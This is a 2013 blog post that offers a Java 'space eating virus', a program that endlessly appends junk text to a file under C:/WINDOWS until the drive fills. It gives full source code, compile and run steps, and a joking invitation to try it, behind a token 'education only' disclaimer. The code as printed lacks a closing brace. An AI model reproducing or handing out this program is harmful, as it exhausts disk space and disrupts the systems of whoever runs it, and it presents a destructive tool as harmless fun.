Sunday 26 May 2013

create space eating virus

Hey guys. I'm back with some virus programming in JAVA. It's amazing that with some little logical concepts a Simple program can turn into a Virus. Here I'm going to show you how to create a Simlpe Space Eater Program using JAVA.


Warning:- This is for education purpose only. I'm not Responsible in case of any misuse .
without much delay lets get started:
  • Open Notepad and type the following virus code:
import java.io.*;
class Virus
{
public static void main(String ar[])
 {
   try
  {
   FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
   while(true)
   {
   f.write("Programming Is Such A FUN !!!");
   }
  }
  catch(FileNotFoundException e){}
   catch(IOException e){}
 }
  • Save it as Virus.java
  • Now generate the byte code of program using Java Compiler.
  • When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
  • In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)
Explanation: On execution this program will create a file called virus.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.

Warning:  you can try this on your computer too. lol :P

No comments:

Post a Comment